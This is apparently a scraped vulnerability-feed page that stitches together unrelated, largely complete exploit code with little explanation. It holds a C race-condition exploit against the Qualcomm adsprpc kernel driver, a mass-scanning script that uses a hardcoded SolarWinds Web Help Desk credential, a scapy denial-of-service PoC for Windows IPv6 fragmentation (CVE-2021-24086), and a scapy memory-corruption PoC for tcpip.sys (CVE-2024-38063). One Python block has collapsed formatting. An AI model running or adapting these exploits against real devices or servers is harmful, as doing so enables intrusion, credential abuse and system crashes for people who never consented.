Recent comments
Log in or create an account to share your comment.
Ref: https://project-zero.issues.chromium.org/issues/42451725
#include "adsprpc_shared.h"
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <linux/dma-heap.h>
#include <sys/mman.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#define FASTRPC_MODE_UNSIGNED_MODULE 8
#define FASTRPC_STATIC_HANDLE_PROCESS_GROUP (1)
#define FASTRPC_STATIC_HANDLE_DSP_UTILITIES (2)
#define FASTRPC_STATIC_HANDLE_LISTENER (3)
#define FASTRPC_STATIC_HANDLE_CURRENT_PROCESS (4)
int dma_heap;
int adsprpc_fd;
int create_and_init_adsprpc()
{
int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY);
if(adsprpc_fd == -1) {
printf("open: %m\n");
return -1;
}
unsigned cid = 3;
long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid);
int shell_fd = open("/data/local/tmp/fastrpc_shell_unsigned_3",O_RDONLY);
if(shell_fd == -1) {
printf("open shell: %m\n");
return -1;
}
dma_heap = open("/dev/dma_heap/system",O_RDONLY);
if(dma_heap == -1) {
printf("open dma_heap: %m\n");
return -1;
}
struct dma_heap_allocation_data heap_data = {
.len = 0x131000,
.fd_flags = O_RDWR,
};
ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
if( ret < 0 || heap_data.fd < 0)
{
printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
return -1;
}
void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0);
long length = read(shell_fd,shell_file_dma,0x131000);
if(length <= 0) {
printf("read: %d %m\n",ret);
return -1;
}
close(shell_fd);
struct fastrpc_ioctl_init_attrs init = {
.init = {
.file = shell_file_dma,
.filefd = heap_data.fd,
.filelen = length,
.mem = 0,
.flags = FASTRPC_INIT_CREATE,
},
.attrs = FASTRPC_MODE_UNSIGNED_MODULE
};
ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init);
if(ret < 0)
{
printf("init_attrs: %d %m\n",ret);
return -1;
}
return adsprpc_fd;
}
pthread_barrier_t* barrier;
pthread_t tid_inv,tid_int;
unsigned long* value_loc;
struct dma_heap_allocation_data heap_data = {
.len = 0x10000,
.fd_flags = O_RDWR,
};
void handler(int signo, siginfo_t *info, void* context) {
return;
}
sig_atomic_t jobid = 0;
long submit_job() {
unsigned value = 255;
unsigned out_values[256] = {0};
struct fastrpc_ioctl_invoke_async ioctl_arg;
remote_arg_t ra[2];
ra[0].buf.pv = (void *)&value;
ra[0].buf.len = sizeof(value);
ra[1].buf.pv = (void *)(&out_values[1]);
ra[1].buf.len = value * sizeof(uint32_t);
ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
ioctl_arg.inv.pra = ra;
ioctl_arg.fds = NULL;
ioctl_arg.attrs = NULL;
ioctl_arg.crc = NULL;
ioctl_arg.perf_kernel = NULL;
ioctl_arg.perf_dsp = NULL;
ioctl_arg.job = NULL;
ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
ioctl_arg.job->isasyncjob = 1;
ioctl_arg.job->jobid = jobid++;
struct fastrpc_ioctl_invoke2 inv;
inv.invparam = &ioctl_arg;
inv.req = FASTRPC_INVOKE2_ASYNC;
inv.size = sizeof(struct fastrpc_ioctl_invoke_async);
long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
printf("submit job ret: %lx %m\n",ret);
return ret;
}
void* thread_inv(void* arg) {
while(1) {
//Need to replace value with & new map on other thread
unsigned value = 255;
unsigned out_values[256] = {0};
long ret;
//Not using submit_job() to increase race precision
struct fastrpc_ioctl_invoke_async ioctl_arg;
remote_arg_t ra[2];
ra[0].buf.pv = (void *)0;
ra[0].buf.len = sizeof(value);
ra[1].buf.pv = (void *)(&out_values[1]);
ra[1].buf.len = value * sizeof(uint32_t);
ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
ioctl_arg.inv.pra = ra;
ioctl_arg.fds = calloc(REMOTE_SCALARS_LENGTH(ioctl_arg.inv.sc),sizeof(int));
ioctl_arg.fds[0] = heap_data.fd;
ioctl_arg.fds[1] = -1;
ioctl_arg.attrs = NULL;
ioctl_arg.crc = NULL;
ioctl_arg.perf_kernel = NULL;
ioctl_arg.perf_dsp = NULL;
ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
ioctl_arg.job->isasyncjob = 1;
ioctl_arg.job->jobid = jobid++;
struct fastrpc_ioctl_invoke2 inv;
inv.invparam = &ioctl_arg;
inv.req = FASTRPC_INVOKE2_ASYNC;
inv.size = sizeof(struct fastrpc_ioctl_invoke_async);
close(heap_data.fd);
pthread_barrier_wait(barrier);
ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
printf("job submit: %ld %m\n",ret);
fflush(stdout);
if(!ret) {
*((unsigned*) &barrier[1]) = 1;
pthread_barrier_wait(barrier);
exit(0);
}
pthread_barrier_wait(barrier);
}
return NULL;
}
int main() {
adsprpc_fd = create_and_init_adsprpc();
if(adsprpc_fd == -1) {
printf("failed to open adsprpc...\n");
return 1;
}
barrier = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS,0,0);
pthread_barrierattr_t attr;
pthread_barrierattr_init(&attr);
pthread_barrierattr_setpshared(&attr,PTHREAD_PROCESS_SHARED);
pthread_barrier_init(barrier,&attr,2);
//pthread_create(&tid_int,NULL,&thread_interrupt,NULL);
int ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
if( ret < 0 || heap_data.fd < 0)
{
printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
return -1;
}
// for(unsigned i = 0; i < 1022; i++) {
// if(submit_job() < 0) {
// printf("failed to submit a job at i = %u\n",i);
// exit(0);
// }
// }
printf("mapping...\n");
fflush(stdout);
value_loc = mmap(NULL,0x2000,PROT_READ | PROT_WRITE,MAP_PRIVATE,heap_data.fd,0);
pid_t pid;
if(!(pid = fork())) {
thread_inv(NULL);
exit(0);
}
// pthread_create(&tid_inv,NULL,&thread_inv,NULL);
unsigned long spoof_map = 0x2000;
uint64_t vaddrouts[1024];
unsigned top = 0;
do {
struct fastrpc_ioctl_mem_map mmap_struct = {
.m = {
.flags = 0,
.fd = heap_data.fd,
.length = 0x2000,
.attrs = 0,
.vaddrin = spoof_map,
.vaddrout = 0,
.offset = 0,
}
};
spoof_map += 0x2000;
unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
printf("mem_map loop: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
vaddrouts[top] = mmap_struct.m.vaddrout;
} while (vaddrouts[top++]);
// struct fastrpc_ioctl_mem_map mmap_struct = {
// .m = {
// .flags = 0,
// .fd = heap_data.fd,
// .length = 0x1000,
// .attrs = 0,
// .vaddrin = value_loc,
// .offset = 0,
// }
// };
// //pthread_barrier_wait(&barrier);
// unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
// printf("mem_map1: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
// struct fastrpc_ioctl_mem_unmap unmap_struct = {
// .um = {
// .fd = heap_data.fd,
// .length = 0x1000,
// .vaddr = mmap_struct.m.vaddrout
// }
// };
// ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
// printf("mem_unmap1: %lx\n",ioret);
unsigned first = true;
while(1) {
struct fastrpc_ioctl_mem_map mmap_struct = {
.m = {
.flags = FASTRPC_MAP_FD_NOMAP,
.fd = heap_data.fd,
.length = 0x1000,
.attrs = FASTRPC_ATTR_KEEP_MAP,
.vaddrin = value_loc,
.offset = -1,
}
};
pthread_barrier_wait(barrier);
unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
printf("mem_map2: %lx\n",ret);
fflush(stdout);
struct fastrpc_ioctl_munmap_fd final_munmap = {
.fd = heap_data.fd,
.flags = 0,
.len = 0x1000,
.va = 0
};
unsigned long final_ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MUNMAP_FD,&final_munmap);
printf("munmap fd: %lx %m\n",final_ret);
pthread_barrier_wait(barrier);
if(*(unsigned*)&barrier[1]) {
break;
}
if(first && fgetc(stdin) == 'n') {
kill(pid,SIGKILL);
exit(0);
}
first = false;
}
// pthread_join(tid_int,NULL);
// pthread_join(tid_inv,NULL);
// for(unsigned i = 0; i < top; i++)
// {
// struct fastrpc_ioctl_mem_unmap unmap_struct = {
// .um = {
// .fd = heap_data.fd,
// .length = 0x2000,
// .vaddr = vaddrouts[i],
// }
// };
// unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
// if(ioret)
// printf("unexpected unmap fail %lx %m\n",ioret);
// }
// while(1) sleep(1);
return 0;
// struct fastrpc_ioctl_mmap mmap_struct2 = {
// .fd = -1,
// .flags = ADSP_MMAP_HEAP_ADDR,
// .vaddrin = 0,
// .size = 0x1000
// };
// ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2);
// if(ret < 0)
// {
// printf("ret mmap: %lx %m\n",ret);
// }
// printf("vaddrout: %lx %m\n",mmap_struct2.vaddrout);
}
- CVE-2024-36401 GeoServer Remote Code Execution - https://github.com/0x0d3ad/CVE-2024-36401
A PoC is available here: https://github.com/fa-rrel/CVE-2024-28987-POC
import argparse
import base64
import requests
# Created by Ghost sec.
RED = "\033[91m"
GREEN = "\033[92m"
BOLD = "\033[1m"
RESET = "\033[0m"
ascii_art = f"""
{BOLD}{RED}
______ __ __
/ \ / | / |
/$$$$$$ |$$ |____ ______ _______ _$$ |_ _______ ______ _______
$$ | _$$/ $$ \ / \ / |/ $$ | / | / \ / |
$$ |/ |$$$$$$$ |/$$$$$$ |/$$$$$$$/ $$$$$$/ /$$$$$$$/ /$$$$$$ |/$$$$$$$/
$$ |$$$$ |$$ | $$ |$$ | $$ |$$ \ $$ | __ $$ \ $$ $$ |$$ |
$$ \__$$ |$$ | $$ |$$ \__$$ | $$$$$$ | $$ |/ | $$$$$$ |$$$$$$$$/ $$ \_____
$$ $$/ $$ | $$ |$$ $$/ / $$/ $$ $$/ / $$/ $$ |$$ |
$$$$$$/ $$/ $$/ $$$$$$/ $$$$$$$/ $$$$/ $$$$$$$/ $$$$$$$/ $$$$$$$/
PROOF OF CONCEPT CVE-2024-28987 || SCANNING VULNERABILITY POC || github.com/fa-rrel
{RESET}
"""
print(ascii_art)
def get_basic_auth_header(username, password):
credentials = f"{username}:{password}"
base64_credentials = base64.b64encode(credentials.encode()).decode('utf-8')
return {'Authorization': f'Basic {base64_credentials}'}
def scan_target(hostname):
# Ensure hostname does not have trailing slashes
hostname = hostname.strip().rstrip('/')
url = f"http://{hostname}/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/"
# Print formatted URL for debugging
print(f"{BOLD}[*] Scanning URL: {url}{RESET}")
headers = get_basic_auth_header("helpdeskIntegrationUser", "dev-C4F8025E7")
headers['Content-Type'] = 'application/x-www-form-urlencoded'
try:
response = requests.get(url, headers=headers, timeout=10)
if response.status_code == 200 and 'displayClient' in response.text and 'shortDetail' in response.text:
print(f"{BOLD}{GREEN}[+] Vulnerability confirmed on {hostname} with username: 'helpdeskIntegrationUser' and password: 'dev-C4F8025E7'{RESET}")
else:
print(f"{BOLD}{RED}[-] No vulnerability detected on {hostname}{RESET}")
except requests.RequestException:
# Modify this line to just print "Not vulnerable" instead of the error details
print(f"{BOLD}{RED}[-] Not vulnerable on {hostname}{RESET}")
def scan_targets_from_file(file_path):
try:
with open(file_path, 'r') as file:
targets = file.readlines()
if not targets:
print(f"{BOLD}{RED}[!] No targets found in file{RESET}")
return
for target in targets:
target = target.strip()
if target:
scan_target(target)
except FileNotFoundError:
print(f"{BOLD}{RED}[!] File {file_path} not found{RESET}")
except Exception as e:
print(f"{BOLD}{RED}[!] An error occurred: {e}{RESET}")
def main():
parser = argparse.ArgumentParser(description="CVE-2024-28987 Scanner - SolarWinds Web Help Desk Hardcoded Credential")
parser.add_argument('-f', '--file', type=str, required=True, help='File containing list of targets')
args = parser.parse_args()
scan_targets_from_file(args.file)
if __name__ == "__main__":
main()
Analysis of a Windows IPv6 Fragmentation Vulnerability: CVE-2021-24086
2024-08-28T09:53:22 by Cédric BonhommeAnalysis of a denial of service vulnerability affecting the IPv6 stack of Windows.
This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin.
Proof of Concept
```python import sys import random
from scapy.all import *
FRAGMENT_SIZE = 0x400 LAYER4_FRAG_OFFSET = 0x8
NEXT_HEADER_IPV6_ROUTE = 43 NEXT_HEADER_IPV6_FRAG = 44 NEXT_HEADER_IPV6_ICMP = 58
def get_layer4(): er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086") er.cksum = 0xa472
return raw(er)
def get_inner_packet(target_addr): inner_frag_id = random.randint(0, 0xffffffff) print("**** inner_frag_id: 0x{:x}".format(inner_frag_id)) raw_er = get_layer4()
# 0x1ffa Routing headers == 0xffd0 bytes
routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1)
routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))
# First inner fragment header: offset=0, more=1
FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id
def send_last_inner_fragment(target_addr, inner_frag_id):
raw_er = get_layer4()
ip = IPv6(dst = target_addr)
# Second (and last) inner fragment header: offset=1, more=0
FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])
def trigger(target_addr):
inner_packet, inner_frag_id = get_inner_packet(target_addr)
ip = IPv6(dst = target_addr)
hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)
outer_frag_id = random.randint(0, 0xffffffff)
fragmentable_part = []
for i in range(len(inner_packet) // FRAGMENT_SIZE):
fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])
if len(inner_packet) % FRAGMENT_SIZE:
fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])
print("Preparing frags...")
frag_offset = 0
frags_to_send = []
is_first = True
for i in range(len(fragmentable_part)):
if i == len(fragmentable_part) - 1:
more = 0
else:
more = 1
FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)
blob = raw(FH/fragmentable_part[i])
frag_offset += FRAGMENT_SIZE
frags_to_send.append(ip/hopbyhop/blob)
print("Sending {} frags...".format(len(frags_to_send)))
for frag in frags_to_send:
send(frag)
print("Now sending the last inner fragment to trigger the bug...")
send_last_inner_fragment(target_addr, inner_frag_id)
if name == 'main': if len(sys.argv) < 2: print('Usage: cve-2021-24086.py ') sys.exit(1) trigger(sys.argv[1]) ```
Proof of Concept for CVE-2024-38063, a RCE in tcpip.sys patched on August 13th 2024.
An analysis of the vulnerability published on August 27, 2024 by Marcus Hutchins.
PoC published on GitHub on August 24, 2024.
Implementation
Implementation details are available on GitHub.
from scapy.all import *
iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20
def get_packets_with_mac(i):
frag_id = 0xdebac1e + i
first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
def get_packets(i):
if mac_addr != '':
return get_packets_with_mac(i)
frag_id = 0xdebac1e + i
first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
final_ps = []
for _ in range(num_batches):
for i in range(num_tries):
final_ps += get_packets(i) + get_packets(i)
print("Sending packets")
if mac_addr != '':
sendp(final_ps, iface)
else:
send(final_ps, iface)
for i in range(60):
print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
time.sleep(1)
print("")